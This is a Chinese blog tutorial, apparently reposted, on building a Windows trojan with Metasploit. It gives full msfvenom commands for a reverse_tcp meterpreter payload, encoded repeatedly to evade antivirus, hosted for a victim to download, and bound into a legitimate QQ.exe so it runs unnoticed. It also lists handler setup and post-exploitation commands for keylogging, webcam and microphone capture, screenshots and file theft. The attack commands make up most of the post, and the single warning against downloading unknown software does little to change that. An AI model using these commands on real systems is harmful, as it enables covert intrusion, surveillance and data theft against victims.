MSF生成木马实现远控

思路

使用kali工具msf制作exe木马文件靶机通过点击开启后门进行监听

原理

靶机执行木马文件后,向攻击机中发送信息建立session会话,本机打开监听状态,收到信息后进行操作

实验前准备

csharp;gutter:true; 攻击ip:192.168.200.130 ​被攻击ip:192.168.200.101</p> <pre><code> ## 步骤 msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线 ### 1、生成木马 </code></pre> <p>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=8088 -b "\x00" -i 10 -f exe -o /var/www/html/test.exe</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710170358566-389525163.png) 参数含义 </code></pre> <p>-a x86 使用x86框架 --platform windows 运行平台为windows -p windows/meterpreter/reverse_tcp 指定payload LHOST=192.168.200.130 LPORT=8088 本地IP和监听端口 -b "\x00" 去掉坏字符 -i 10 编码10次,提高免杀概率 -f exe 木马文件格式 -o /var/www/html/test.exe 输出路径</p> <pre><code> 比如想查看 /meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用 </code></pre> <p>msfvenom -p windows/meterpreter/reverse_tcp --list-options</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710183724129-284533807.png) 可查看所有payloads </code></pre> <p>msfvenom --list payloads</p> <pre><code> ### 2、利用msf攻击 </code></pre> <p>msfconsole //启动 ​ use exploit/multi/handler //开启监听 ​ set payload windows/meterpreter/reverse_tcp //设置payload,选择漏洞利用模块 ​ set lhost 192.168.200.130 //本地IP,即攻击IP ​ set lport 8088 //监听端口 ​ exploit //攻击</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710171205962-199160075.png) ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710192426638-2054975334.png) ### 3、开启apache,受害者下载木马 此步骤就是模拟受害者从攻击方的网络下载木马,所以在日常生活中不要轻易下载来历不明的软件等,提高安全意识,从点滴做起。 (1)攻击机开启apache服务 </code></pre> <p>systemctl start apache2.service</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710171700011-662561465.png) (2)受害机下载运行木马 在浏览器中输入192.168.20.101/test.exe下载木马 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710171939711-1351882427.png) ### 4、木马上线 当被攻击的机器点击生成的test.exe木马时,即可以监听到木马上线 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710172040380-590303245.png) 输入help可以查询常用的命令 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710172906585-564100518.png) 几个简单的命令,由于我是在虚拟机上运行的,虚拟机上面没有摄像头,所以没有成 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710173009401-1369086901.png) 下面是常用命令: </code></pre> <p>getuid 查看当前权限 getsystem 尝试获取system权限 shell 获取当前权限shell会话 ps 列出正在运行的进程 pkill 按名称终止进程 kill 按PID终止进程 reboot 重启 shutdown 关机 upload 上传文件(格式参考:upload /root/1.txt -> d:/) download 下载文件(格式参考:download c:/1.txt -> /root/) keyboard_send 令对方键盘输入(参考格式:keyboard_send ilovecc)</p> <h1>请按以下顺序执行</h1> <p>keyscan_start 开始捕获击键(开始键盘记录) keyscan_dump 转储按键缓冲(下载键盘记录) keyscan_stop 停止捕获击键(停止键盘记录)</p> <h1>操作完都会有文件保存在服务器,一般是存在/root目录下,msf会提示具体位置和名称,提到本机就可打开看</h1> <p>record_mic 麦克风录制(格式参考:record_mic -d 13) screenshot 截图截取对方目前桌面的截图 webcam_snap 摄像头拍摄一张照片 webcam_stream 持续监控摄像头</p> <pre><code> 安卓和windows差不多,这里就不在赘述了。 ### 5、msf绑定软件制作木马 msf也可以绑定正常软件运行,在用户看来软件正常运行,但是这个软件后台同时偷偷启动木马程序,这里我将木马绑定到图片 查看编码类型,我们选择 x86/shikata_ga_nai编码 </code></pre> <p>msfvenom -l encoders</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710183014831-2021332947.png) 指定捆绑参数 -x /root/share/QQ.exe </code></pre> <p>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=8088 -e x86/shikata_ga_nai -x /root/share/QQ.exe -b "\x00" -i 10 -f exe -o /var/www/html/test2.exe

Original: https://www.cnblogs.com/ggc-gyx/p/16463566.html
Author: ʚɞ无恙
Title: MSF生成木马实现远控

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/608902/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Celery + Redis 的探究

    不在乎过程的,可以直接看最后的结论。 测试代码: 先将 redis 部署于本机的 6379 默认端口 不要设置密码,使用 celery 版本 3.1.23 [1]先直接发起一个 t…

    Linux 2023年5月28日
    063
  • Pyinstaller打包教程

    由于用户使用Python脚本的时候可能没有运行环境,所以需要打包。记录下碰到的问题。 安装 pip install –upgrade pyinstaller 安装最新开发版 pi…

    Linux 2023年6月13日
    054
  • Redis 优化之 tcp-backlog

    tcp-backlog:511 此参数确定了TCP连接中已完成队列(完成三次握手之后)的长度, 当然此值必须不大于Linux系统定义的/proc/sys/net/core/soma…

    Linux 2023年5月28日
    089
  • Golang 实现 Redis(10): 本地原子性事务

    为了支持多个命令的原子性执行 Redis 提供了事务机制。 Redis 官方文档中称事务带有以下两个重要的保证: 事务是一个单独的隔离操作:事务中的所有命令都会序列化、按顺序地执行…

    Linux 2023年5月28日
    090
  • Wireshark 使用教程

    Wireshark是非常流行的网络封包分析软件,可以截取各种网络数据包,并显示数据包详细信息。常用于开发测试过程各种问题定位。本文主要内容包括: 1、Wireshark软件下载和安…

    Linux 2023年6月8日
    076
  • .Net MVC实现全局异常捕捉返回通用异常页面的一种方式

    阅文时长 | 0.54分钟字数统计 | 876字符主要内容 | 1、引言&背景 2、部分通用设计代码 3、声明与参考资料『.Net MVC实现全局异常捕捉返回通用异常页面的…

    Linux 2023年6月13日
    090
  • rsync

    rsync简介 rsync是linux系统下的数据镜像备份工具。使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他SSH、rsync主机同步。 rsy…

    Linux 2023年6月6日
    079
  • 机器学习入门笔记02–流行学习与图嵌入理论基础

    核化线性降维 线性降维方法假设从高维空间到低维空间的函数映射是线性的,然而,在不少现实任务中,可能需要非线性映射才能找到恰当的低维嵌入。 流行学习 “流形”…

    Linux 2023年6月6日
    074
  • 部署office在线预览服务器(Office Web Apps Server)

    引言为方便在web端方便的使用office。 简介 Office Online Server (OOS,下文简写为OOS ) 提供基于浏览器的 Word、PowerPoint、Ex…

    Linux 2023年6月14日
    0113
  • 【证券从业】金融基础知识-第二章 中国金融体系与多层次资本市场02

    注1:后续学习并整理到第八章,全书完结后再合并成一个笔记进行源文件分享 注2:本章内容巨多,大约分为两篇文章记录消化 posted @2022-05-31 22:14 陈景中 阅读…

    Linux 2023年6月13日
    075
  • Redis主从复制

    一、主从复制 1、redis为什么还要主从复制? 和Mysql主从复制的原因一样,Redis虽然读取写入的速度都特别快,但是也会产生读压力特别大的情况。为了分担读压力,Redis支…

    Linux 2023年5月28日
    062
  • ansible对文件内容操作

    bash;gutter:true; ansible lineinfile 简介 lineinfile该模块是操作文件中的每一行内容,他是按照行为单位的,和下面的replace模块并…

    Linux 2023年6月7日
    069
  • C++的vector的使用方法

    vector c++的vector的使用方法,创建,初始化,插入,删除等。 #include "ex_vector.h" #include #include #…

    Linux 2023年6月14日
    082
  • [ Skipper ] 快速 LVL

    https://www.cnblogs.com/yeungchie/ ski-flashlvl ski-flashlvl top1.gds cell1 top2.gds cell2…

    Linux 2023年6月7日
    091
  • Redis Sentinel实现的机制与原理详解

    Redis-Sentinel是Redis官方推荐的高可用性(HA)解决方案。实际上这意味着你可以使用Sentinel模式创建一个可以不用人为干预而应对各种故障的Redis部署。 它…

    Linux 2023年5月28日
    0103
  • Ubuntu系统中MySQL安装后基本配置

    mysql8.0安装好后并不会让你输入root密码,而是采用默认账户+默认密码的方式保护数据库安全,但开发环境并不需要这样做。那么怎么找到这个默认账户和密码,又如何修改数据库使它可…

    Linux 2023年6月14日
    077
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球